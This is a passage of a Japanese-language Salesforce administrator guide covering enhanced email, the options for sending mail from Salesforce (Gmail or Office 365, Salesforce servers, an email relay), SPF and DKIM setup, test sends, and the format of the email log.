メモ: 拡張メールでは、下位互換性を確保するために、引き続き各メール
メッセージで ToDo レコードが作成されます。ただし、メールを Salesforceで
表示すると、メールのメールメッセージレコードが表示されます。元の形
式でメールが表示されるため、これは良いことです。HTML メールは HTML

形式で表示され、プレーンテキストメールはプレーンテキスト形式で表示
されます。これはユーザが求める動作です。

拡張メールの設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

拡張メールを使用する前に、制限事項、メール-to-ケースの顧客に関する詳細、
EmailMessage および ToDo レコードの操作に関する情報など、いくつかの点に留意
してください。
• メール-to-ケースを使用する組織以外のほとんどの組織では、拡張メールが

自動的に有効になります。
• メール-to-ケースを使用している場合は、拡張メールを有効にしなくても、

メールでカスタム項目、カスタマイズ済みレイアウト、ワークフロールー
ル、およびトリガを使用できます。さらに、すでに EmailMessage オブジェク
トを使用して、ケースに関連付けられたメールを保存しています。EmailMessage

レコードをその他のオブジェクト (ケース以外) に関連付ける場合は、拡張
メールを有効にすることをお勧めします。

2377

拡張メール: 主なカスタマイズとメールページの改善に
よる Salesforce のメールの強化

販売ツールの設定および管理



• 拡張メールでは、メールがSalesforceの標準オブジェクトである EmailMessage を使用して保存されます。カス
タム項目、カスタマイズ済みレイアウト、適切なレコード詳細ページなど、標準オブジェクトにある一般
的なすべての利点を得られます。組織でメール-to-ケースを使用している場合は、ケースに関連付けられて
いるメールの保存に EmailMessage オブジェクトがすでに使用されています。組織でメール-to-ケースを使用
しておらず、EmailMessage オブジェクトでメールを保存する場合は、拡張メールを有効にする必要がありま
す。

• 拡張メールでは、Salesforce から送信されたメールが EmailMessage レコードと ToDo レコードの両方で保存さ
れます。ただし、EmailMessage レコードのみが、UI のメール詳細ページに表示されます。

• 組織で拡張メールを使用していても、Web-to-リードと Salesforce for Outlook から追加されたメールは、ToDo レ
コードとしてのみ保存されます。

• EmailMessage オブジェクトではカスタム通貨項目を使用できません。
• EmailMessage レコードに使用できるレコードタイプは 1 つのみです。
• ワークフロールールでは、ケースレコードの項目を更新するためだけに EmailMessage レコードを使用できま

す。
• EmailMessage レコードの代わりに、活動レコードとしてメールを記録したときのように、メールの内容を変

更することはできません。組織で Outlook 向け Lightning と Gmail 向け Lightning を使用している場合は、メー
ルがドラフト状況になっているときに限って、RelatedTold を含むメール項目を変更できます。IsExternallyVisible

項目とカスタム項目は例外です。この制限事項は、UI および API で行う変更に当てはまります。
• 拡張メールを使用する前に、次の操作を実行することをお勧めします。

– EmailMessage オブジェクトを使用するトリガおよびワークフロールールを確認する。ケースに関連付け
られた EmailMessage レコードの場合、ParentID項目が常に入力されます。拡張メールでは、EmailMessage

レコードを他のレコードと関連付けることができ、ParentID項目は空白になる場合があります。その
場合、空白の ParentID項目を使用してメールメッセージを処理するようにトリガおよびワークフロー
ルールを更新する必要があります。

– ToDo とメールを組み込むカスタムビジネスロジックを確認する。推奨要件は次のとおりです。
• EmailMessage オブジェクトのカスタム ToDo オブジェクト項目を再作成する。
• ToDo オブジェクトのトリガを EmailMessage オブジェクトに移行する。

– ワークフローとカスタマイズ (メール-to-ケースのカスタマイズを含む) を使用して拡張メールを Sandbox

でテストする。

関連トピック:

拡張メール: 主なカスタマイズとメールページの改善による Salesforce のメールの強化
拡張メールの設定
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拡張メールの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールを送信する
• 「メールの送信」権限

およびメール送信元の
レコードへのアクセス
権

メールまたはテンプレー
トにファイルを添付する
• 添付するファイルへの

アクセス権

拡張メールでは、システム管理者や営業担当は多くのすばらしいメール機能を
使用できます。たとえば、メールを他のレコードに関連付ける、カスタム項目
をメールに追加する、メールによるトリガを使用する、メールメッセージレイ
アウトを変更する、Salesforce API を使用してメールを管理することが可能になり
ます。メール-to-ケースを使用する組織以外のほとんどの組織では、拡張メール
が自動的に有効になります。
1. [設定] から、[クイック検索] ボックスに「拡張メール」と入力し、[拡張メー

ル] を選択します。
2. [有効化] をクリックします。
3. [メールメッセージ] ページレイアウトを更新します。

a. [関連先] 項目を追加します。
ユーザは、どのレコードがメールに関連しているかを確認できるように
なります。

b. [メールメッセージ] ページレイアウトから [親ケース]項目を削除します。
メール-to-ケースを使用して、メールをケースと関連付けないと、この項
目は一般的に空白になります。

関連トピック:

拡張メール: 主なカスタマイズとメールページの改善による Salesforce のメー
ルの強化
拡張メールの設定に関する考慮事項

ユーザによる Salesforce からのメール送信
ユーザは 1 日中Salesforceを操作して、顧客情報を確認したり、活動を記録したり、レポートを作成したりして
います。そこで、ユーザの作業を軽減し、Salesforceから直接メールを送信できるようにします。組織でLightning

Experience を使用しているかどうか、会社でメールドメインを所有しているかどうか、どのメールアプリケー
ションを会社で使用しているかに応じて、多くのオプションがあります。

Salesforce からのメール送信で組織に最適なオプション
組織で Lightning Experience を使用しているかどうか、会社でメールドメインを所有しているかどうか、どの
メールアプリケーションを会社で使用しているかに応じて、ユーザが Salesforce から直接メールを送信でき
るオプションが多数あります。
Salesforce から送信されるメールの監視
メールログや一括メールキューなど、メールを監視する機能により、Salesforce からのメール送信を最大限
に活用します。
Salesforce から送信するメールの到達性の改善
メールの到達性とは、会社または個人のメールが対象の受信者に到達する見込みのことです。Salesforce を
介して送信するメールの到達性を改善するための多くの設定とコンプライアンスオプションがあります。
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組織のアドレス: ユーザが共通の [差出人] アドレスを使用して Salesforce からメールを送信可能
Salesforce 組織で、ユーザが共通のメール別名を共有する必要がある場合、各ユーザプロファイルで組織の
共有アドレスのリストを定義できます。メールを Salesforce から送信するときに、これらのプロファイルの
ユーザは、自分のアドレスか組織の共有アドレスをメールの [差出人]アドレスに選択できます。返信は、
選択したアドレス宛てに配信されます。
組織の共有フッター: ユーザによる共通のフッターを使用した Salesforce からのメール送信
組織の共有フッターを作成することでユーザが時間を節約し、Salesforce から送信するすべてのメールに共
通のメッセージを適用できるようにします。文字コードごとに異なるメールフッターを作成して、単一メー
ル送信および一括メール送信のデフォルトのフッターを選択できます。Lightning Experience では、Gmail また
は Office 365 経由で送信するメールに、組織の共有フッターを組み込むことができます。組織の共有フッター
を組み込むかどうかは選択できます。

Salesforce からのメール送信で組織に最適なオプション
組織でLightning Experienceを使用しているかどうか、会社でメールドメインを所有しているかどうか、どのメー
ルアプリケーションを会社で使用しているかに応じて、ユーザが Salesforce から直接メールを送信できるオプ
ションが多数あります。
次のフローチャートを使用して、Salesforceからメールを送信する場合にどのオプションが組織に適しているか
を判断してください。すべては、Lightning Experience を使用しているかどうかから始まります。
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* メールアドレスが、@aol.com、@yahoo.com、@gmail.com で終わり、メールリレーを使用する場合は、独自のド
メインを登録する必要があります。これは、Gmail、AOL™、Yahoo™ の DMARC (Domain-based Message Authentication,

Reporting & Conformance) ポリシーのためです。詳細

[Gmail を介した送信] または [Office 365 を介した送信]: 外部メールサービスを介した送信をユーザに許可
メールのやり取りを合理化するには、Gmail または Office 365 のアカウントを使用して Salesforceからメールを
送信することをユーザに許可します。この場合、受信者には、メールがユーザの Gmail または Office 365 のア
カウントから送信されたかのように表示されます。ユーザは、自分の Gmail または Office 365 の [送信済みア
イテム] フォルダで送信済みのメールを参照することもできます。
Salesforce を介した送信: Salesforce を介したメール送信をユーザに許可
メールのやり取りを合理化するには、Salesforceサーバを使用してSalesforceからメールを送信することをユー
ザに許可します。外部メールサービスと統合する必要はありません。Salesforce Classicを使用しているか、不
達管理が必要であるか、Gmail™か Office 365™を Lightning Experienceと併用していない場合は、これが適切な方
法です。
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メールリレー: ユーザによる会社のメールサーバを経由したメール送信
メールのやり取りを合理化するには、ユーザが Salesforce から会社のメールサーバを経由してメールを送信
できるようにします。この場合、受信者には、メールがユーザの会社のメールアカウントから送信された
かのように表示されます。これらのメールは会社のメールサーバにも保存されるため、コンプライアンス
に役立ち、ユーザは Salesforce から送信したメールを会社のメールの [送信済みアイテム] フォルダで表示で
きます。

[Gmail を介した送信] または [Office 365 を介した送信]: 外部メールサービスを介した送信を
ユーザに許可

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールのやり取りを合理化するには、Gmail または Office 365 のアカウントを使用
して Salesforce からメールを送信することをユーザに許可します。この場合、受
信者には、メールがユーザの Gmail または Office 365 のアカウントから送信された
かのように表示されます。ユーザは、自分の Gmail または Office 365 の [送信済み
アイテム] フォルダで送信済みのメールを参照することもできます。

Gmail™ または Office 365™ を介したメール送信の設定に関する考慮事項
トリガとワークフロールールに関する詳細、およびコミュニティを使用する
組織の情報など、[Gmail を介した送信] または [Office 365 を介した送信] の設定
前に詳細をいくつか確認してください。
Gmail™ または Office 365™ を介したメール送信の設定
いくつかの簡易手順を実行するだけで、ユーザは Gmail アカウントや Office 365 アカウントを使用してSalesforce

でメールを送信できるようになります。

Gmail™ または Office 365™ を介したメール送信の設定に関する考慮事項

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

トリガとワークフロールールに関する詳細、およびコミュニティを使用する組
織の情報など、[Gmail を介した送信] または [Office 365 を介した送信] の設定前に
詳細をいくつか確認してください。
• [Gmail を介した送信] または [Office 365 を介した送信] は、コミュニティでは使

用できません。組織で [Gmail を介した送信] または [Office 365 を介した送信] を
有効にしても、コミュニティでは動作しません。コミュニティで送信された
メールは、組織で設定したオプションに応じて、Salesforce またはメールリ
レーで送信されます。

• [Gmail を介した送信] を使用する場合は、Salesforce の [私のメール設定] ページ
に移動して、送信メールの送信者項目に表示される名前をカスタマイズでき
ます。[Office 365 を介した送信] を使用する場合は、Salesforce で名前を変更で
きません。

[Gmail を介した送信] または [Office 365 を介した送信] を使用するときには、次のようになります。
• メールは Salesforce のメールログに保存されません。メールログは、Salesforce を介して送信されたメール専

用です。つまり、メール配信情報が Salesforce で使用できないということです。メールログは Gmail または
Office 365 から取得してください。

• トリガとワークフロールールを介して送信されるメールも、Salesforce を介して送信されます。
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• 不達管理はサポートされないため、取引先責任者やリードに自動的に最新の不達情報が提供されることは
ありません。ただし、不達になったメールはメールの受信箱で閲覧できます。不達管理が必要である場合
は、Salesforce を介した送信を使用してください。

• Transport Layer Security (TLS) は、Salesforce の設定ではなく、外部メールサービスによって処理されます。
• Salesforce から送信するメールに、組織の共通フッターは表示されません。

関連トピック:

[Gmail を介した送信] または [Office 365 を介した送信]: 外部メールサービスを介した送信をユーザに許可
Gmail™ または Office 365™ を介したメール送信の設定

Gmail™ または Office 365™ を介したメール送信の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Group Edition、
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールを送信する
• 「メールの送信」権限

およびメール送信元の
レコードへのアクセス
権

いくつかの簡易手順を実行するだけで、ユーザは Gmail アカウントや Office 365 ア
カウントを使用して Salesforce でメールを送信できるようになります。
1. [設定] から、[クイック検索]ボックスに「外部メールサービスを介した送信」

と入力し、[外部メールサービスを介した送信] を選択します。
2. [Gmail を介した送信] または [Office 365 を介した送信] を有効にします。両方の

オプションを選択することはできません。
ユーザは個人設定内の [私のメール設定] から外部メール設定を管理できま
す。

この機能は、標準ユーザプロファイルまたは「外部メールサービスを介したメー
ル送信」ユーザ権限のあるすべてのユーザで有効になります。ユーザは、OAuth

業界標準を使用して、Lightning Experience メールコンポーザで外部メールサービ
スを介した送信を実行できます。Salesforce 内にユーザログイン情報は保存され
ません。

関連トピック:

[Gmail を介した送信] または [Office 365 を介した送信]: 外部メールサービスを介
した送信をユーザに許可
Gmail™ または Office 365™ を介したメール送信の設定に関する考慮事項

Salesforce を介した送信: Salesforce を介したメール送信をユーザに許可

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

メールのやり取りを合理化するには、Salesforce サーバを使用して Salesforce から
メールを送信することをユーザに許可します。外部メールサービスと統合する
必要はありません。Salesforce Classic を使用しているか、不達管理が必要である
か、Gmail™ か Office 365™ を Lightning Experience と併用していない場合は、これが適
切な方法です。

Salesforce を介した送信の設定に関する考慮事項
不達管理やスパムに関する詳細など、Salesforce を介した送信の設定前に詳細
をいくつか確認してください。
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Salesforce によるメール送信の設定
不達管理やスパムに関する詳細など、Salesforceを介した送信の設定前に詳細をいくつか確認してください。
Salesforce を使用したメール送信のテスト
ユーザが Salesforce からメールを送信すると、メールは使用される可能性のある Salesforce IP アドレスのいず
れかから転送されます。メールの受信者がこれらの IP アドレスをブロックしていると、メールが受信され
ないことがあります。使用される可能性のあるすべての Salesforce IP アドレスから顧客がメールを受信でき
るかどうかをテストするのは困難です。ただし、テスト送信機能を使用すると、使用される可能性のある
Salesforce IP アドレスそれぞれから、メールを自分宛に送信することが簡単にできます。すべてのメールを
受信できれば、Salesforce IP アドレスのどれもブロックしていないことになります。

Salesforce を介した送信の設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

不達管理やスパムに関する詳細など、Salesforce を介した送信の設定前に詳細を
いくつか確認してください。
• Salesforce を介した送信は、次のような場合に適したオプションです。

– 不達管理が必要である。
– Salesforce を外部メールサービスと統合しない。
– Gmail™ や Office 365™ を Lightning Experience と併用していない。

• 次の推奨事項に従ってメール認証を適切に設定しないと、メールは特定の
メールプロバイダによってスパムとしてフラグ設定されます。

• 会社がドメインを所有していないか、不達管理を有効にしている場合、送信済みメールは Salesforce によっ
て送信されたものとして認識され、あなたが送信したかのように表示されることがあります。

• 送信設定、[標準メールセキュリティのメカニズムへの準拠を有効化] か [不達管理の有効化] を有効にする
と、Gmail の受信者には追加情報が表示されます。

• [送信者 ID 準拠を有効化] を有効にすると、送信者 ID をサポートする Outlook とメールクライアントでは
「[送信者名] の代理で送信されました」と表示されません。

• 会社でドメインを所有している場合は、Sender Policy Framework (SPF) や DomainKeys Identified Mail (DKIM) のような
メール認証方式を DNS で設定することをお勧めします。配信および受信者による受信がさらに確実になり
ます。

Salesforce によるメール送信の設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
すべてのエディション

不達管理やスパムに関する詳細など、Salesforce を介した送信の設定前に詳細を
いくつか確認してください。

ドメイン (mycompany.com) を所有している会社の場合
1. [標準メールセキュリティのメカニズムへの準拠を有効化] をオフにします。
2. [送信者 ID 準拠を有効化] をオフにします。
3. Salesforce の SPF レコードをクライアントのドメイン DNS に追加し、Salesforce

が承認済み送信者であることを示します (SPF レコードの例: "v=spf1 mx

include:_spf.salesforce.com ~all")。
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4. DKIM を設定して送信率を高めます。

ドメインを所有していない会社の場合
メールアドレスのドメインが会社によって所有されておらず、@gmail.com、@aol.com、@yahoo.com で終わる場合
は、Gmail、AOL™、Yahoo™ の Domain-based Message Authentication, Reporting & Conformance (DMARC) ポリシーのため、
制御するドメインを登録して、Salesforceから送信するすべてのメールで、この新しいドメインを使用する必要
があります。その他についての詳細はこちら。
1. [標準メールセキュリティのメカニズムへの準拠を有効化] をオンにします。
2. [送信者 ID 準拠を有効化] をオフにします。広く使用されていない送信者 ID メール認証プロトコルを受信者

が使用している場合に限り、送信者 ID 準拠を有効化することをお勧めします。

Salesforce を使用したメール送信のテスト

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

メールをテスト送信する
• 「すべてのデータの編

集」

ユーザが Salesforce からメールを送信すると、メールは使用される可能性のある
Salesforce IP アドレスのいずれかから転送されます。メールの受信者がこれらの IP

アドレスをブロックしていると、メールが受信されないことがあります。使用
される可能性のあるすべての Salesforce IP アドレスから顧客がメールを受信でき
るかどうかをテストするのは困難です。ただし、テスト送信機能を使用すると、
使用される可能性のある Salesforce IP アドレスそれぞれから、メールを自分宛に
送信することが簡単にできます。すべてのメールを受信できれば、Salesforce IP ア
ドレスのどれもブロックしていないことになります。
1. [設定] から、[クイック検索] ボックスに「テスト送信」と入力し、[テスト送

信] を選択します。
2. ビジネスメールアドレスを入力します。
3. [送信] をクリックします。Salesforce は、テストメッセージを、すべての IP ア

ドレスからビジネスメールアドレスに送信します。各テストメッセージに、
送信元の IP アドレスを指定します。

4. テストメッセージをすべて受け取ったことを確認するには、ビジネスメール
アカウントをチェックします。

テストメッセージをすべて受け取らなかった場合、メール管理者は、Salesforceの IP 範囲を組織のメールサーバ
のホワイトリストに登録する必要があります。IP アドレスをホワイトリストに登録すると、メールサーバは、
通常であればブロック対象となる IP アドレスからのメールを受信できます。Salesforce IP 範囲の最新のリスト
は、「What are the Salesforce IP Addresses to whitelist?」を参照してください。
Salesforceでは、受信メールと送信メールに別個の IP アドレスが保持されます。送信メールに使用される IP アド
レスは、受信メール接続を受け入れません。

関連トピック:

Salesforce から送信するメールの到達性設定のガイドライン
コンプライアンス BCC メールの有効化

2385

ユーザによる Salesforce からのメール送信販売ツールの設定および管理

http://releasenotes.docs.salesforce.com/ja-jp/spring15/release-notes/rn_general_domain_keys.htm#rn_general_domain_keys
https://help.salesforce.com/apex/HTViewSolution?urlname=Salesforce-Outbound-Emails-Impacted-by-Google-DMARC-Policy-Adoption&language=en_US
https://help.salesforce.com/HTViewSolution?id=000003652&language=en_US&release=180.9


メールリレー: ユーザによる会社のメールサーバを経由したメール送信

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

メールのやり取りを合理化するには、ユーザが Salesforce から会社のメールサー
バを経由してメールを送信できるようにします。この場合、受信者には、メー
ルがユーザの会社のメールアカウントから送信されたかのように表示されます。
これらのメールは会社のメールサーバにも保存されるため、コンプライアンス
に役立ち、ユーザはSalesforceから送信したメールを会社のメールの [送信済みア
イテム] フォルダで表示できます。

メールリレーの設定に関する考慮事項
不達管理やスパムに関する詳細など、メールリレーを設定する前にいくつか
詳細を確認してください。
メールリレーの設定

メールリレーの設定に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

不達管理やスパムに関する詳細など、メールリレーを設定する前にいくつか詳
細を確認してください。
• メールリレーは、次のような場合に適したオプションです。

– Salesforceから送信されたメールを会社のメールサービスを介して転送する
場合。これはコンプライアンスに役立ちます。

– 会社で独自のドメイン (mycompany.com) を所有している場合。
• メールリレーは、Salesforce 組織専用に設定します。メールリレーでは、すべ

てのメールのコピーを保存して監査できます。標準フッターなどのコンテン
ツをすべてのメールに追加することもできます。不達管理もサポートされま
す。

• 不達管理を動作させるには、Salesforce から送信されるメールのリレーをメー
ルサーバで許可する必要があります。

• Salesforce の送信制限は、メールリレーにも適用されます。
• メールリレーの設定には、技術的な専門知識がいくらか必要になります。
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メールリレーの設定

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ユーザ権限

メールリレーを設定する
• 「すべてのデータの編

集」

メールリレーでは、会社のメールサーバを使用して Salesforce からメールが送信
されます。次の目的でメールリレーを設定します。
• 独自のメールサーバを介して、すべてのメールを Salesforce から送信する。

Salesforce によるメールのなりすましに見えないようにします。メールのなり
すましとは、メッセージがあたかも実際の送信元ではない他者からきたもの
のように見せかけるためにメールヘッダーを偽造することです。

• 各種業界の政府の規制の要請に応じて、すべてのメールのコピーを保管す
る。

• 会社のメールから送信することを許可されていないデータとコンテンツがな
いかメッセージをスキャンする既存のコンテンツフィルタを適用する。

• メールを顧客に送信する前に、アンチウイルスソフトウェアに通す。
• 会社規模の免責事項などのデータをメールメッセージの末尾に付加する。
メールを自動的に自社の Simple Mail Transfer Protocol (SMTP) サーバを経由させるよう
にSalesforceを設定することによって、Salesforceが作成したメールのメールリレー
を設定できます。組織のメールリレーを有効にするには、Salesforce にお問い合
わせください。

警告: メールリレーと不達管理の両方を使用する場合は、メールサーバで
Salesforce のメールのリレーを許可しているかどうか、メール管理者に確認
してください。許可していない場合、Salesforce から送信されるメールが配
信されない可能性があります。不達管理についての詳細は、「Salesforce か
ら送信するメールの到達性設定のガイドライン」 (ページ2398)を参照してく
ださい。

メールリレーを設定する手順は、次のとおりです。
1. [設定] から、[クイック検索] ボックスに「メールリレーの有効化」と入力し、[メールリレーの有効化] を選

択します。
2. 次の設定を行います。

説明設定

自社の SMTP サーバのホスト名または IP アドレス。
この情報は、自社のメール管理者から入手してくだ
さい。

メールホスト

重要: この接続で Transport Layer Security (TLS) を使
用する場合は、IP アドレスの代わりにホスト
名を入力します。TLS では、証明書を検証する
のにホスト名が必要です。

ホスト名は、次の形式で指定してください。
<mail server>.<domain>.<domain extension>
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説明設定

次に例を示します。
mail.acme.com

自社の SMTP サーバのポート番号。この情報は、自
社のメール管理者から入手してください。メールリ

ポート

レーは、ポート番号 25、587、10025、および 11025 で
サポートされます。

Salesforce が SMTP セッションに対して TLS を使用する
かどうかを指定します。次のオプションから 1 つ選
択します。

TLS 設定

• 任意  (デフォルト): リモートサーバが TLS に対応し
ている場合、Salesforce は現在の SMTP セッション
をアップグレードして TLS を使用します。TLS に
対応していない場合、Salesforceは TLS なしでセッ
ションを続行します。

• 必須: Salesforceは、リモートサーバが TLS に対応し
ている場合にのみセッションを続行します。TLS

に対応していない場合、Salesforceは、メールを配
信せずにセッションを終了します。

• 検証して任意: リモートサーバが TLS に対応してい
る場合、Salesforceは現在の SMTP セッションをアッ
プグレードして TLS を使用します。セッション開
始前に、Salesforceは証明書に正規の認証機関の署
名があるかを確認し、証明書に示された一般名
が現在の接続のドメインまたはメール交換と一
致することを確認します。TLS は有効だが、証明
書に署名がないか一般名が一致しない場合、
Salesforceはセッションを切断し、メールを配信し
ません。TLS に対応していない場合、Salesforce は
TLS なしでセッションを続行します。

• 検証して必須: Salesforce は、リモートサーバが TLS

に対応し、証明書に正規の認証機関の署名があ
り、証明書に示された一般名が Salesforce が接続
したドメインまたはメール交換と一致する場合
にのみセッションを続行します。これらの条件
のどれかが一致しないと、Salesforceはメールを配
信せずにセッションを終了します。

メールリレー機能を特定のドメインに制限するかど
うかを指定します。このオプションをオンにした場

ドメインを限定してリレー

合、その下のテキスト項目に、ドメイン名をカンマ
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説明設定

で区切って入力します。(アスタリスク (*) ワイルド
カードを使用できます。たとえば、
「*.subdomains.com」は
「john@aco.subdomains.com」と
「john@bco.subdomains.com」に一致しますが、
「john@subdomains.com」には一致しません)。こうす
ると、指定されたドメインのいずれかが宛先となっ
ている場合のみ Salesforce はメールの経路を自社の
SMTP サーバに設定します。チェックボックスをオン
にしてもドメインを指定しないと、Salesforce はすべ
てのメールの経路を自社の SMTP サーバに設定しま
す。

組織のメールリレーを有効にします。このチェック
ボックスをオフにすると、Salesforce はメールリレー

有効

の設定は保持しますが、メールの経路を自社のメー
ルサーバに設定しません。

3. ページを保存します。
Salesforceメールリレー設定を変更するたびに、テストメッセージを送信することをお勧めします。

関連トピック:

Salesforce を使用したメール送信のテスト
コンプライアンス BCC メールの有効化
Salesforce から送信するメールの到達性設定のガイドライン
組織のアドレス: ユーザが共通の [差出人] アドレスを使用して Salesforce からメールを送信可能

Salesforce から送信されるメールの監視
メールログや一括メールキューなど、メールを監視する機能により、Salesforceからのメール送信を最大限に活
用します。

メールログ: Salesforce で送信されるメールの監視
メールログを使用すると、過去 30 日間に Salesforceで送信されたメールを簡単に監視できます。ログには、
送信者と受信者、日時、配信状況、関連付けられたエラーコードなど、各メールに関する情報が含まれま
す。メールログは CSV 形式です。
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一括メール送信キュー: Salesforce による一括メール送信の状況の監視
一括メール送信キューでは、個人的に送信したスケジュール済み一括メール送信の状況、または Salesforce

組織のスケジュール済み一括メール送信の状況を表示できます。一括メール送信は、必要に応じてキャン
セルできます。個人的な一括メール送信の状況は個人設定から表示できます。権限がある場合は、組織の
一括メール送信の状況を [設定] から表示できます。

関連トピック:

ユーザによる Salesforce からのメール送信

メールログ: Salesforce で送信されるメールの監視

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

メールログを使用すると、過去 30 日間に Salesforce で送信されたメールを簡単に
監視できます。ログには、送信者と受信者、日時、配信状況、関連付けられた
エラーコードなど、各メールに関する情報が含まれます。メールログは CSV 形
式です。

メールログの使用に関する考慮事項
Salesforce 組織のユーザ用に組織の共有フッターを作成する前に、文字コード
やデフォルトに関する情報など、詳細をいくつか確認してください。
メールログのリクエスト
メールログを使用すると、過去 30 日間に Salesforceで送信されたメールを簡単に監視できます。新しいログ
はいつでも簡単に要求できます。
メールログの参照

関連トピック:

Salesforce から送信されるメールの監視
ユーザによる Salesforce からのメール送信

メールログの使用に関する考慮事項

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

Salesforce 組織のユーザ用に組織の共有フッターを作成する前に、文字コードや
デフォルトに関する情報など、詳細をいくつか確認してください。
• メールログの要求は、受信された順序でキューに入ります。メールログは、

要求から 30 分以内に使用できます。
• 待機中のメールログ要求リストには、まだ完了していないメールログ要求の

状態について記載されています。
• メールログエラーリストには、失敗した要求の説明が記載されています。30

日間の制限を超えたデータを要求した場合、またはすでに 3 つの待機中のロ
グの要求を行った場合、失敗した要求を再送信することはできません。

• メールログは、圧縮ファイルに含まれた CSV ファイルで、最大で 100,000 件のレコードが格納されています。
メールログ要求では、最大 500,000 件のレコードが返されるため、ダウンロードする .zip ファイルは最大で
5 つになります。ログは、ファイルストレージ全体の制限に貢献します。
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• 待機中のログの要求は一度に 3 つまで持つことができます。すでに 3 つの待機中の要求がある場合、その
うちの少なくとも 1 つが完了するまで、次のログを要求できません。

• メールログは、要求に先立つ過去 30 日間の範囲内に送信されたメッセージについて利用可能です。
• 各メールログは、最大 7 日間の範囲で指定できます。7 日間を超える範囲のメールログデータを参照するに

は、複数の要求を作成します。

関連トピック:

メールログ: Salesforce で送信されるメールの監視

メールログのリクエスト

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

メールログへのアクセス
• 「すべてのデータの編

集」

メールログを使用すると、過去 30 日間に Salesforce で送信されたメールを簡単に
監視できます。新しいログはいつでも簡単に要求できます。
1. [設定] から、[クイック検索] ボックスに「メールログファイル」と入力し、

[メールログファイル] を選択します。
2. [メールログのリクエスト] をクリックします。
3. 必要に応じて、メールログに条件を設定し、[受信者] や [メッセージ ID

ヘッダー] などの項目に特定のドメイン名やメールアドレスがある行のみを
含めることができます。条件語を複数入力するには、カンマで各値を区切り
ます。この項目を空白にしておくと、ログに条件を設定せずに指定した期間
内のすべてのメールアドレスが返されます。

4. メールログリクエストが完了したときに通知を受け取るメールアドレスを入
力します。各メールアドレスをカンマで区切ります。

リクエストをクリアしてログの概要ページに戻るには、[キャンセル]をクリック
します。

関連トピック:

メールログ: Salesforce で送信されるメールの監視
メールログの参照
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メールログの参照

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Database.com Edition を除
くすべてのエディション

ユーザ権限

メールログへアクセスす
る
• 「すべてのデータの編

集」

次の表示は、ログファイルの形式と、項目の例について記載しています。

例説明項目列

3/06/2009 13:37各メールの送受信
日時 (GMT)。

日付/時間A

16/A4-20983-88E21E84メッセージの一意
の内部 ID。

内部メッセージ IDB

Tメールサーバの最
後のメール行動を
示します。行動
は、次の値のいず
れかとなります。
R - 受信

メールが正常
に受信されま
した。

メールイベントC

D - 送信
メールが正常
に送信されま
した。

T - 一時的な障害
メールの送受
信が遅れまし
た。Salesforce

は、24 時間、
送信を再試行
します。1 回目
の再試行は、
最初の一時的
障害から 5 分後
に行われ、2 回
目の再試行は
その 10 分後、3

回目はその 20

分後となり、
その後も続き
ます。

P - 永続的な障害
メールを送信
できませんで
した。
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例説明項目列

admin@acme.comメールを送信する個人の
メールアドレス。

受信者D

user@acme.comメールを送信した個人の
メールアドレス。

送信者E

10.0.0.1メールをメールサーバに
配信したアプリケーショ
ンサーバの IP アドレス。

リモートホストF

11856メールのサイズ。転送バイト数G

00540000000rSXTメールを送信したユーザ
の Salesforce ID。

ユーザ IDH

21749386.
106091224027705044.

すべてのメールの最初に
ある ID ヘッダー。

メッセージ ID ヘッダーI

JavaMail.
sfdc@na2-app4-2-sjl.
ops.sfdc.net

11メール送信の試行回数。再試行回数J

300配信前にメールが待機し
た秒数。

キューの秒数K

during RCPT TO記録される前の送信の最
終フェーズ。以下はフェー

送信フェーズL

ズの値です (SMTP シーケン
スの表示順)。
BANNER

SMTP 接続のレスポン
ス。

EHLO

メールサーバとのセッ
ションの開始。

STARTTLS

メールサーバとの安全
な通信セッションを確
立。

MAIL FROM

メールの送信者を通
知。

RCPT TO

メールの受信者を通
知。
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例説明項目列

DATA

後続のテキストがメー
ルメッセージであるこ
とを通知。

BODY

メールの本文が受信者
に送信されているとき
の状況。

RSET

セッション終了時に、
サーバの状態をリセッ
ト。

また、レスポンスが送信
シーケンスの任意の時点
で表示される場合があり
ます。
接続されていない場合

クライアントは接続を
確立しようとしていま
す。

アイドル時
クライアントは接続し
ましたが、コマンドの
送受信は行っていませ
ん。

読み取り確認
コマンドが送信され、
クライアントは応答を
待っています。

TLS のハンドシェーキング
安全な接続の確立時に
エラーが発生しまし
た。

帯域外の不達
受信サーバはコマンド
を受信しましたが、不
明な理由で拒否されま
した。
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例説明項目列

不明な状態
不明なエラーが発生し
ました。

